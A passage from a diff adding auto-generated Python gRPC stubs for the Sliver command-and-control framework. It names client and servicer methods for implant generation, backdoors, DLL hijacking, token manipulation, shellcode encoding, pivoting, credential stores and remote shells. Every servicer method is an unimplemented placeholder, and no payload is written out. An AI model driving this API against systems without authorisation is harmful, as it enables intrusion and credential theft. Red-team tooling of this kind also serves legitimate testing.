response_deserializer=sliverpb_dot_sliver__pb2.Task.FromString, + ) + self.ExecuteAssembly = channel.unary_unary( + '/rpcpb.SliverRPC/ExecuteAssembly', + request_serializer=sliverpb_dot_sliver__pb2.ExecuteAssemblyReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.ExecuteAssembly.FromString, + ) + self.Migrate = channel.unary_unary( + '/rpcpb.SliverRPC/Migrate', + request_serializer=clientpb_dot_client__pb2.MigrateReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Migrate.FromString, + ) + self.Execute = channel.unary_unary( + '/rpcpb.SliverRPC/Execute', + request_serializer=sliverpb_dot_sliver__pb2.ExecuteReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Execute.FromString, + ) + self.ExecuteWindows = channel.unary_unary( + '/rpcpb.SliverRPC/ExecuteWindows', + request_serializer=sliverpb_dot_sliver__pb2.ExecuteWindowsReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Execute.FromString, + ) + self.Sideload = channel.unary_unary( + '/rpcpb.SliverRPC/Sideload', + request_serializer=sliverpb_dot_sliver__pb2.SideloadReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Sideload.FromString, + ) + self.SpawnDll = channel.unary_unary( + '/rpcpb.SliverRPC/SpawnDll', + request_serializer=sliverpb_dot_sliver__pb2.InvokeSpawnDllReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.SpawnDll.FromString, + ) + self.Screenshot = channel.unary_unary( + '/rpcpb.SliverRPC/Screenshot', + request_serializer=sliverpb_dot_sliver__pb2.ScreenshotReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Screenshot.FromString, + ) + self.CurrentTokenOwner = channel.unary_unary( + '/rpcpb.SliverRPC/CurrentTokenOwner', + request_serializer=sliverpb_dot_sliver__pb2.CurrentTokenOwnerReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.CurrentTokenOwner.FromString, + ) + self.PivotStartListener = channel.unary_unary( + '/rpcpb.SliverRPC/PivotStartListener', + request_serializer=sliverpb_dot_sliver__pb2.PivotStartListenerReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.PivotListener.FromString, + ) + self.PivotStopListener = channel.unary_unary( + '/rpcpb.SliverRPC/PivotStopListener', + request_serializer=sliverpb_dot_sliver__pb2.PivotStopListenerReq.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.PivotSessionListeners = channel.unary_unary( + '/rpcpb.SliverRPC/PivotSessionListeners', + request_serializer=sliverpb_dot_sliver__pb2.PivotListenersReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.PivotListeners.FromString, + ) + self.PivotGraph = channel.unary_unary( + '/rpcpb.SliverRPC/PivotGraph', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.PivotGraph.FromString, + ) + self.StartService = channel.unary_unary( + '/rpcpb.SliverRPC/StartService', + request_serializer=sliverpb_dot_sliver__pb2.StartServiceReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.ServiceInfo.FromString, + ) + self.StopService = channel.unary_unary( + '/rpcpb.SliverRPC/StopService', + request_serializer=sliverpb_dot_sliver__pb2.StopServiceReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.ServiceInfo.FromString, + ) + self.RemoveService = channel.unary_unary( + '/rpcpb.SliverRPC/RemoveService', + request_serializer=sliverpb_dot_sliver__pb2.RemoveServiceReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.ServiceInfo.FromString, + ) + self.MakeToken = channel.unary_unary( + '/rpcpb.SliverRPC/MakeToken', + request_serializer=sliverpb_dot_sliver__pb2.MakeTokenReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.MakeToken.FromString, + ) + self.GetEnv = channel.unary_unary( + '/rpcpb.SliverRPC/GetEnv', + request_serializer=sliverpb_dot_sliver__pb2.EnvReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.EnvInfo.FromString, + ) + self.SetEnv = channel.unary_unary( + '/rpcpb.SliverRPC/SetEnv', + request_serializer=sliverpb_dot_sliver__pb2.SetEnvReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.SetEnv.FromString, + ) + self.UnsetEnv = channel.unary_unary( + '/rpcpb.SliverRPC/UnsetEnv', + request_serializer=sliverpb_dot_sliver__pb2.UnsetEnvReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.UnsetEnv.FromString, + ) + self.Backdoor = channel.unary_unary( + '/rpcpb.SliverRPC/Backdoor', + request_serializer=clientpb_dot_client__pb2.BackdoorReq.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Backdoor.FromString, + ) + self.RegistryRead = channel.unary_unary( + '/rpcpb.SliverRPC/RegistryRead', + request_serializer=sliverpb_dot_sliver__pb2.RegistryReadReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.RegistryRead.FromString, + ) + self.RegistryWrite = channel.unary_unary( + '/rpcpb.SliverRPC/RegistryWrite', + request_serializer=sliverpb_dot_sliver__pb2.RegistryWriteReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.RegistryWrite.FromString, + ) + self.RegistryCreateKey = channel.unary_unary( + '/rpcpb.SliverRPC/RegistryCreateKey', + request_serializer=sliverpb_dot_sliver__pb2.RegistryCreateKeyReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.RegistryCreateKey.FromString, + ) + self.RegistryDeleteKey = channel.unary_unary( + '/rpcpb.SliverRPC/RegistryDeleteKey', + request_serializer=sliverpb_dot_sliver__pb2.RegistryDeleteKeyReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.RegistryDeleteKey.FromString, + ) + self.RegistryListSubKeys = channel.unary_unary( + '/rpcpb.SliverRPC/RegistryListSubKeys', + request_serializer=sliverpb_dot_sliver__pb2.RegistrySubKeyListReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.RegistrySubKeyList.FromString, + ) + self.RegistryListValues = channel.unary_unary( + '/rpcpb.SliverRPC/RegistryListValues', + request_serializer=sliverpb_dot_sliver__pb2.RegistryListValuesReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.RegistryValuesList.FromString, + ) + self.RunSSHCommand = channel.unary_unary( + '/rpcpb.SliverRPC/RunSSHCommand', + request_serializer=sliverpb_dot_sliver__pb2.SSHCommandReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.SSHCommand.FromString, + ) + self.HijackDLL = channel.unary_unary( + '/rpcpb.SliverRPC/HijackDLL', + request_serializer=clientpb_dot_client__pb2.DllHijackReq.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.DllHijack.FromString, + ) + self.GetPrivs = channel.unary_unary( + '/rpcpb.SliverRPC/GetPrivs', + request_serializer=sliverpb_dot_sliver__pb2.GetPrivsReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.GetPrivs.FromString, + ) + self.StartRportFwdListener = channel.unary_unary( + '/rpcpb.SliverRPC/StartRportFwdListener', + request_serializer=sliverpb_dot_sliver__pb2.RportFwdStartListenerReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.RportFwdListener.FromString, + ) + self.GetRportFwdListeners = channel.unary_unary( + '/rpcpb.SliverRPC/GetRportFwdListeners', + request_serializer=sliverpb_dot_sliver__pb2.RportFwdListenersReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.RportFwdListeners.FromString, + ) + self.StopRportFwdListener = channel.unary_unary( + '/rpcpb.SliverRPC/StopRportFwdListener', + request_serializer=sliverpb_dot_sliver__pb2.RportFwdStopListenerReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.RportFwdListener.FromString, + ) + self.OpenSession = channel.unary_unary( + '/rpcpb.SliverRPC/OpenSession', + request_serializer=sliverpb_dot_sliver__pb2.OpenSession.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.OpenSession.FromString, + ) + self.CloseSession = channel.unary_unary( + '/rpcpb.SliverRPC/CloseSession', + request_serializer=sliverpb_dot_sliver__pb2.CloseSession.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.RegisterExtension = channel.unary_unary( + '/rpcpb.SliverRPC/RegisterExtension', + request_serializer=sliverpb_dot_sliver__pb2.RegisterExtensionReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.RegisterExtension.FromString, + ) + self.CallExtension = channel.unary_unary( + '/rpcpb.SliverRPC/CallExtension', + request_serializer=sliverpb_dot_sliver__pb2.CallExtensionReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.CallExtension.FromString, + ) + self.ListExtensions = channel.unary_unary( + '/rpcpb.SliverRPC/ListExtensions', + request_serializer=sliverpb_dot_sliver__pb2.ListExtensionsReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.ListExtensions.FromString, + ) + self.RegisterWasmExtension = channel.unary_unary( + '/rpcpb.SliverRPC/RegisterWasmExtension', + request_serializer=sliverpb_dot_sliver__pb2.RegisterWasmExtensionReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.RegisterWasmExtension.FromString, + ) + self.ListWasmExtensions = channel.unary_unary( + '/rpcpb.SliverRPC/ListWasmExtensions', + request_serializer=sliverpb_dot_sliver__pb2.ListWasmExtensionsReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.ListWasmExtensions.FromString, + ) + self.ExecWasmExtension = channel.unary_unary( + '/rpcpb.SliverRPC/ExecWasmExtension', + request_serializer=sliverpb_dot_sliver__pb2.ExecWasmExtensionReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.ExecWasmExtension.FromString, + ) + self.WGStartPortForward = channel.unary_unary( + '/rpcpb.SliverRPC/WGStartPortForward', + request_serializer=sliverpb_dot_sliver__pb2.WGPortForwardStartReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.WGPortForward.FromString, + ) + self.WGStopPortForward = channel.unary_unary( + '/rpcpb.SliverRPC/WGStopPortForward', + request_serializer=sliverpb_dot_sliver__pb2.WGPortForwardStopReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.WGPortForward.FromString, + ) + self.WGStartSocks = channel.unary_unary( + '/rpcpb.SliverRPC/WGStartSocks', + request_serializer=sliverpb_dot_sliver__pb2.WGSocksStartReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.WGSocks.FromString, + ) + self.WGStopSocks = channel.unary_unary( + '/rpcpb.SliverRPC/WGStopSocks', + request_serializer=sliverpb_dot_sliver__pb2.WGSocksStopReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.WGSocks.FromString, + ) + self.WGListForwarders = channel.unary_unary( + '/rpcpb.SliverRPC/WGListForwarders', + request_serializer=sliverpb_dot_sliver__pb2.WGTCPForwardersReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.WGTCPForwarders.FromString, + ) + self.WGListSocksServers = channel.unary_unary( + '/rpcpb.SliverRPC/WGListSocksServers', + request_serializer=sliverpb_dot_sliver__pb2.WGSocksServersReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.WGSocksServers.FromString, + ) + self.Shell = channel.unary_unary( + '/rpcpb.SliverRPC/Shell', + request_serializer=sliverpb_dot_sliver__pb2.ShellReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Shell.FromString, + ) + self.Portfwd = channel.unary_unary( + '/rpcpb.SliverRPC/Portfwd', + request_serializer=sliverpb_dot_sliver__pb2.PortfwdReq.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Portfwd.FromString, + ) + self.CreateSocks = channel.unary_unary( + '/rpcpb.SliverRPC/CreateSocks', + request_serializer=sliverpb_dot_sliver__pb2.Socks.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Socks.FromString, + ) + self.CloseSocks = channel.unary_unary( + '/rpcpb.SliverRPC/CloseSocks', + request_serializer=sliverpb_dot_sliver__pb2.Socks.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.SocksProxy = channel.stream_stream( + '/rpcpb.SliverRPC/SocksProxy', + request_serializer=sliverpb_dot_sliver__pb2.SocksData.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.SocksData.FromString, + ) + self.CreateTunnel = channel.unary_unary( + '/rpcpb.SliverRPC/CreateTunnel', + request_serializer=sliverpb_dot_sliver__pb2.Tunnel.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.Tunnel.FromString, + ) + self.CloseTunnel = channel.unary_unary( + '/rpcpb.SliverRPC/CloseTunnel', + request_serializer=sliverpb_dot_sliver__pb2.Tunnel.SerializeToString, + response_deserializer=commonpb_dot_common__pb2.Empty.FromString, + ) + self.TunnelData = channel.stream_stream( + '/rpcpb.SliverRPC/TunnelData', + request_serializer=sliverpb_dot_sliver__pb2.TunnelData.SerializeToString, + response_deserializer=sliverpb_dot_sliver__pb2.TunnelData.FromString, + ) + self.Events = channel.unary_stream( + '/rpcpb.SliverRPC/Events', + request_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + response_deserializer=clientpb_dot_client__pb2.Event.FromString, + ) + + +class SliverRPCServicer(object): + """Missing associated documentation comment in .proto file.""" + + def GetVersion(self, request, context): + """*** Version *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def ClientConsoleLog(self, request_iterator, context): + """*** Client Console Logs *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GetOperators(self, request, context): + """*** Operator Commands *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Kill(self, request, context): + """*** Generic *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Reconfigure(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Rename(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GetSessions(self, request, context): + """*** Sessions *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GetBeacons(self, request, context): + """*** Beacons *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GetBeacon(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def RmBeacon(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GetBeaconTasks(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GetBeaconTaskContent(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CancelBeaconTask(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def MonitorStart(self, request, context): + """***Threat monitoring *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def MonitorStop(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GetJobs(self, request, context): + """*** Jobs *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def KillJob(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def StartMTLSListener(self, request, context): + """*** Listeners *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def StartWGListener(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def StartDNSListener(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def StartHTTPSListener(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def StartHTTPListener(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def StartTCPStagerListener(self, request, context): + """*** Stager Listener *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def StartHTTPStagerListener(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def LootAdd(self, request, context): + """*** Loot *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def LootRm(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def LootUpdate(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def LootContent(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def LootAll(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Creds(self, request, context): + """*** Creds *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CredsAdd(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CredsRm(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CredsUpdate(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GetCredByID(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GetCredsByHashType(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GetPlaintextCredsByHashType(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CredsSniffHashType(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Hosts(self, request, context): + """*** Hosts *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Host(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def HostRm(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def HostIOCRm(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Generate(self, request, context): + """*** Implants *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GenerateExternal(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GenerateExternalSaveBuild(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GenerateExternalGetImplantConfig(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def BuilderRegister(self, request, context): + """*** Builders *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def BuilderTrigger(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Builders(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CrackstationRegister(self, request, context): + """*** Crackstation *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CrackstationTrigger(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CrackstationBenchmark(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Crackstations(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CrackTaskByID(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CrackTaskUpdate(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CrackFilesList(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CrackFileCreate(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CrackFileChunkUpload(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CrackFileChunkDownload(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CrackFileComplete(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CrackFileDelete(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Regenerate(self, request, context): + """*** Payloads *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def ImplantBuilds(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def DeleteImplantBuild(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Canaries(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GenerateWGClientConfig(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GenerateUniqueIP(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def ImplantProfiles(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def DeleteImplantProfile(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def SaveImplantProfile(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def MsfStage(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def ShellcodeRDI(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def GetCompiler(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def ShellcodeEncoder(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def ShellcodeEncoderMap(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def TrafficEncoderMap(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def TrafficEncoderAdd(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def TrafficEncoderRm(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Websites(self, request, context): + """*** Websites *** + """ + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Website(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def WebsiteRemove(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def WebsiteAddContent(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def WebsiteUpdateContent(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def WebsiteRemoveContent(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Ping(self, request, context): + """*** Session 